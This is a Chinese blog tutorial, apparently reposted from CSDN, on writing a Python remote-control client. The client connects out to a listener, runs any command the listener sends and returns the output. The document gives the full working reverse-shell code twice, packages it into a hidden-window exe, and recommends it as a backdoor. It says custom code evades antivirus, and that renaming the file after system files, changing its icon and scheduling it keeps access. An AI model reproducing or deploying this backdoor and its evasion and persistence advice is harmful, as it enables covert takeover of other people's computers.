使用Python制作一个简易的远控终端
作者:T1ngSh0w 发布时间:2022-03-29 21:04:12
远控终端的本质
1、服务端(攻击者)传输消息 ----> socket连接 ----> 客户端(被攻击者)接收消息
2、客户端执行消息内容(即执行服务端传回来的命令)
3、客户端传输执行结果 ----> socket连接 ----> 服务端显示命令执行结果
python制作简易的远控
1、环境
环境:PyCharm 2021.1.1 x64 + python3.8
2、新建项目
打开pycharm,直接新建一个纯python项目。
将main.py文件中原有的代码全部清空。
3、编写程序
(1)导入需要使用的包
# 导入所需要的包
import os
from socket import *
(2)创建main并配置socket套接字信息
#导入所需要的包
......
if __name__ == '__main__':
# 1、服务端IP地址
IP = "192.168.6.142"
# 2、服务端监听的端口PORT
PORT = 9999
# 3、socket套接字
socket_info = (IP, PORT)
(3)创建连接方法
#导入所需要的包
......
def remote_control(info):
# 初始化socket连接
skt = socket(AF_INET, SOCK_STREAM)
skt.connect(info)
# 获得客户端角色,便于服务端执行下一步操作
host = os.popen("whoami").read().strip()
# 将客户端角色在每次输入命令的都显示,美化格式
tips = f"$({host}) "
skt.send(tips.encode())
if __name__ == '__main__':
......
# 4、连接
remote_control(socket_info)
(4)接收服务端传入的数据(即命令)
# 导入所需要的包
......
def remote_control(info):
# 初始化socket连接
......
skt.send(tips.encode())
# 建立持续连接
while True:
# 接收服务端传入的数据(即命令),以1024个bit为一个单位
data = skt.recv(1024)
# 将接收的数据进行utf-8解码,并将左右空格去除
command = data.decode('utf-8').strip()
# 如果数据为exit,代表服务端想要断开连接,直接退出程序
if command == 'exit':
skt.send("exit\n".encode())
exit(0)
if __name__ == '__main__':
......
(5)执行服务端传入的命令并将结果返回给服务端
# 导入所需要的包
......
def remote_control(info):
# 初始化socket连接
......
skt.send(tips.encode())
# 建立持续连接
while True:
# 接收服务端传入的数据(即命令),以1024个bit为一个单位
......
if command == 'exit':
......
# 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
result = os.popen(command).read()
# 将命令执行的结果返回给服务端
skt.send((result + tips).encode())
# 关闭socket连接
skt.close()
if __name__ == '__main__':
......
代码编写完成!
(6)测试远控终端的可用性
打开一台kali虚拟机(IP为192.168.6.142)作为服务端,使用nc监听9999端口。
连接成功,远控终端制作完成!
4、将python文件打包成exe文件
(1)pip工具安装Pyinstaller模块
Win+R打开运行 --> 输入cmd打开命令窗口
pip install Pyinstaller
(2)切换命令行的路径到需要打包的Python源文件的文件夹路径下
cd 文件路径
(3)打包python文件为exe文件
Pyinstaller -F -w 文件名.py
打包成功!
打包完成后,在要打包文件的同级目录下会新增一个dist文件夹,exe文件就在dist文件夹中。
(4)测试exe文件的可用性
kali服务端监听端口。
点击运行生成的exe文件。
连接成功!python制作远程控制终端完成!
制作远控终端的意义
本篇文章我们研究了python如何制作一个简易的远控终端,上篇我的文章研究了Java如何制作一个简易的远控终端。其实,我们制作的这个远控终端就是一个后门程序。那么大家就想了,我们的CS跟MSF都可以生成后门程序,为什么我们还要自己制作呢?
这是因为,我们不仅可以通过自己制作了解远控程序的原理。而且,由于CS跟MSF生成的后门程序特征比较明显,很多杀毒软件都会杀掉,即使没有杀掉,两三天以后也可能被杀软杀掉,不能做到一个持续化的权限获取,也就是权限维持。而我们自己制作后门程序,是我们自己写的,并没有被公开,杀软就匹配不到我们的特征值,这样杀软就不会杀掉我们的后门程序。如果我们再将我们的后门名称改为系统文件的名称,再改变图标,把后门程序添加到计划任务中,这样我们就可以做到一个很好的一个权限维持。
附完整代码
# 导入所需要的包
import os
from socket import *
def remote_control(info):
# 初始化socket连接
skt = socket(AF_INET, SOCK_STREAM)
skt.connect(info)
# 获得客户端角色,便于服务端执行下一步操作
host = os.popen("whoami").read().strip()
# 将客户端角色在每次输入命令的都显示,美化格式
tips = f"$({host}) "
skt.send(tips.encode())
# 建立持续连接
while True:
# 接收服务端传入的数据(即命令),以1024个bit为一个单位
data = skt.recv(1024)
# 将接收的数据进行utf-8解码,并将左右空格去除
command = data.decode('utf-8').strip()
# 如果数据为exit,代表服务端想要断开连接,直接退出程序
if command == 'exit':
skt.send("exit\n".encode())
exit(0)
# 如果数据不为exit,执行数据的内容,即执行服务端传回来的命令,并将执行结果存放在result中
result = os.popen(command).read()
# 将命令执行的结果返回给服务端
skt.send((result + tips).encode())
# 关闭socket连接
skt.close()
if __name__ == '__main__':
# 1、服务端IP地址
IP = "192.168.6.142"
# 2、服务端监听的端口PORT
PORT = 9999
# 3、socket套接字
socket_info = (IP, PORT)
# 4、连接
remote_control(socket_info)
来源:https://blog.csdn.net/weixin_52635170/article/details/129796414


猜你喜欢
- Python3中print函数的换行最近看了看Python的应用,从入门级的九九乘法表开始,结果发现Python3.x和Python2.x真
- #!/bin/perlprint "please input some lines,then press Ctrl+Z. \n&q
- 代理模式的优点代理模式可以保护原对象,控制对原对象的访问;代理模式可以增强原对象的功能,通过代理对象来添加一些额外的功能;代理模式可以提高系
- 前言以前版本的 Celery 需要一个单独的库(django-celery)来与 Django 一起工作,但从 3.1 开始不再是这种情况。
- 目录前言1. 使用Lambda来修改Pandas数据框中的值2. 使用f-string来连接字符串3. 用Zip()函数对多个列表进行迭代4
- display_errors 错误回显,一般常用语开发模式,但是很多应用在正式环境中也忘记了关闭此选项。错误回显可以暴露出非常多的敏感信息,
- 前言使用python实现设计模式中的单例模式。单例模式是一种比较常用的设计模式,其实现和使用场景判定都是相对容易的。本文将简要介绍一下pyt
- 使用xlrd模块和xlwt模块解题思想:xlwt模块是非追加写.xls的模块,所以要借助for循环和列表,来一次性写入,这样就没有追加与非追
- 许可和分发权限Access 2003 Developer Extensions随附的许可协议简化了解决方案或代码段的分发过程。这些协议包括免
- 最近,接手的项目里,提供的数据文件格式简直让人看不下去,使用pandas打不开
- 最近服务器很不稳定,于是重装了mysql 和php 服务,但是接着却遇到了很头疼的麻烦。远程连接mysql是总是提示:Lost connec
- 前段时间冷空气突袭的时候,据说郊区密云的雪积得挺厚,但北京城内除了飘了一点小雪粒,毫无动静。应该是气温过高所致,我在慈云寺桥附近拍下的照片可
- 在经典的数据库理论里,本地事务具备四大特征:原子性事务中的所有操作都是以原子的方式执行的,要么全部成功,要么全部失败;一致性事务执行前后,所
- 我就废话不多说了,大家还是直接看代码吧!import requests, jsonr = requests.get('http://
- 生成一个2000*5的表格,每个单元格的内容是行号+逗号+列号 方法一:使用createElement生成表格,使用insertRow和in
- 简介目前PHP实现web socket 都是使用框架集成来实现,比如hyperf,swoft,或者是安装swoole 扩展来实现websoc
- 第一种:.py文件直接封装成exe1.cmd进入py文件所在的目录备注:在py文件所在的目录下,按住shift+鼠标右击,然后找到&
- Web网站可用性的关键指标是速度,更确切地说,是页面能以多快的速度出现在访问者的浏览器窗口里。影响速度的因素有很多种,包括Web服务器的速度
- 本文实例讲述了js+html5实现canvas绘制镂空字体文本的方法。分享给大家供大家参考。具体实现方法如下:<!DOCTYPE ht
- 突然发现自己对Web前端技术掌握得很少很少,就是自己最感兴趣的XHTML+CSS部分知道也不算多。在XHTML 1.1规定的诸多元素中,我平